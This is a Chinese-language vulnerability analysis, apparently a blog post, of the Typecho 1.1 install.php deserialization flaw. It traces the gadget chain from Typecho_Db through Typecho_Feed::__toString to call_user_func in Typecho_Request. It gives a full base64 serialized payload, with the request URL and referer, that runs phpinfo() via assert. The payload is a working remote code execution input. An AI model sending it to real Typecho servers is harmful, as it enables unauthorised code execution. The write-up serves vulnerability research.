漏洞概况
typecho 1.1版本存在一个反序列化漏洞,允许用户执行一些恶意命令。
复现环境
- typecho-1.1-15.5.12-beta
 - PHP 5.6.40 这里并不知为何在php7的版本里面没有成功复现
 - Ubuntu 18.04 + MySQL 5.7 + Apache2
 
漏洞分析
在分许反序列化相关的漏洞之前,先看一下触发漏洞需要满足的其他条件,在install.php的第58行-77行,存在一个对站点是否安装和ssrf潜在可能的判断:
1  | //判断是否已经安装  | 
这里需要满足的条件为:
_GET['finish']不为空;- referer需要为本站。
 
漏洞的入口在install.php中:
1  | 
  | 
首先是利用Typecho_Cookie::get()方法获取用户请求的参数__typecho_config,跟进去看一下:
1  | public static function get($key, $default = NULL)  | 
我们可以用Cookie传入,也可以用POST请求传入。传入的参数被赋值给$config变量,该变量是一个数组,取出其中的$config['adapter']和$config['prefix']用来实例化类Typecho_Db,那么会触发该类的__construct方法,继续跟进:
1  | public function __construct($adapterName, $prefix = 'typecho_')  | 
在__construct()方法中有一个字符串拼接的操作$adapterName = 'Typecho_Db_Adapter_' . $adapterName;,如果$adapterName是一个类的话,就会触发该类的__toString()方法。因为__toString方法就是在一个类被当作字符串处理时会触发。所以接下来要去找可以利用的__toString(),能找到三处定义,分别在Config.php、Feed.php和Queery.php文件中:

分析一下它们的可用性,先是Config.php文件中的Typecho_Config类中的__toString():
1  | 
  | 
这里显然没什么可继续利用的点,然后是Query.php中的__toString()方法,是一些query操作语句,同样很难利用。最后是Feed.php中类Typecho_Feed的__toString():

可以看到,在第290行会将$item['author']->screenName拼接到$content中,因为$item是来自这里foreach循环的$this->_items,而这是类Typecho_Feed的私有属性,是可控的,所以可以找一个类,该类中应该要有可以利用的__get()方法。道理这里为止,已经可以确定,前面分析中的$adapterName需要是Typecho_Feed的一个实例。
然后要找可以利用的__get()方法,全局搜索,在Request.php的类Typecho_Request中发现了可以利用的__get(),所以$item为Typecho_Request的一个实例化对象:
1  | public function __get($key)  | 
又调用了该类的get()方法,所以继续跟入:
1  | public function get($key, $default = NULL)  | 
这个函数主要做的事情是给$value变量赋值,然后将该值传给_applyFilter()方法,而且$this->_params是用户可控的,也就是说,传入_applyFilter()的参数值是可控的。接着继续跟进$this->_applyFilter():
1  | private function _applyFilter($value)  | 
发现了call_user_func,这里的两个参数$filter和$value,已经知道的是,$value值在$this->_params[$key]不为空的情况下,$value的值与之相等,是用户可控的。而$filter来自$this->_filter,也是用户可控的。所以到这里,整个调用链就摸清楚了。
可以总结为以下流程:
- 入口在
install.php第232行,实例化了一个Typecho_Db对象,$db = new Typecho_Db($config['adapter'], $config['prefix']);; - 触发了该类的
__construct()方法,该方法中存在变量$adapterName和字符串拼接的操作,令该变量为Typecho_Feed类的实例化对象,将对象当作字符串处理会触发该类的__toString()方法; __toString()方法中存在$item['author']->screenName,$item['author']为用户可控,所以可以寻找一个类,该类中存在__get()方法;- 该类为
Typecho_Request,该类的__get()方法调用get()方法,get()最后会调用_applyFilter(),该方法会调用call_user_func执行回调函数。 
PoC编写
poc:
1  | 
  | 
请求url:http://127.0.0.1/typecho-1.1-15.5.12-beta/install.php?finish=1
post data或是cookie:
1  | __typecho_config=YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6Mjp7czoxOToiAFR5cGVjaG9fRmVlZABfdHlwZSI7czo3OiJSU1MgMi4wIjtzOjIwOiIAVHlwZWNob19GZWVkAF9pdGVtcyI7YToxOntpOjA7YToyOntzOjg6ImNhdGVnb3J5IjthOjE6e2k6MDtPOjE1OiJUeXBlY2hvX1JlcXVlc3QiOjI6e3M6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX3BhcmFtcyI7YToxOntzOjEwOiJzY3JlZW5OYW1lIjtzOjEwOiJwaHBpbmZvKCk7Ijt9czoyNDoiAFR5cGVjaG9fUmVxdWVzdABfZmlsdGVyIjthOjE6e2k6MDtzOjY6ImFzc2VydCI7fX19czo2OiJhdXRob3IiO086MTU6IlR5cGVjaG9fUmVxdWVzdCI6Mjp7czoyNDoiAFR5cGVjaG9fUmVxdWVzdABfcGFyYW1zIjthOjE6e3M6MTA6InNjcmVlbk5hbWUiO3M6MTA6InBocGluZm8oKTsiO31zOjI0OiIAVHlwZWNob19SZXF1ZXN0AF9maWx0ZXIiO2E6MTp7aTowO3M6NjoiYXNzZXJ0Ijt9fX19fXM6NjoicHJlZml4IjtzOjg6InR5cGVjaG9fIjt9  | 
referer:http://127.0.0.1/typecho-1.1-15.5.12-beta/
攻击效果:

整个调用过程可以这样表示:

其他注意点
踩坑,一开始我写的exp是这样的:
1  | 
  | 
和上面的差别就是在$this->_items[0]这里没有对category进行一个赋值。所以我跟踪调试了下想看看到底发生了什么,但是一路跟到最后的调用点Typecho_Request::_applyFilter()方法,都是正常执行了命令。

继续跟下去,_applyFilter()函数正常执行结束之后,程序返回Typecho_Feed::__toString(),继续执行之后,程序返回Typecho_Db::__construct()函数的122行继续执行,不过会抛出一个异常:

继续跟进,在var/Typecho/Common.php中的exceptionalHandle()中会处理这个异常:

这里调用了ob_end_clean()来清楚缓冲区中的字符串,这个函数基本是和ob_start()成套使用的:

在install.php第54行可以看到调用了ob_start()函数将执行流程的输出存储到缓冲区中:

但是在中途报错,调用了ob_end_clean()清除了缓冲区,所以不会有任何的东西回显。因此这里就需要让程序在ob_end_clean()之前异常退出。这里的做法就是添加一个不合法的category:

最后一个需要注意的就是需要令
1  | $this->_type = 'RSS 2.0';  | 
这是需要进入$item['author']->screenName所在的if条件分支。
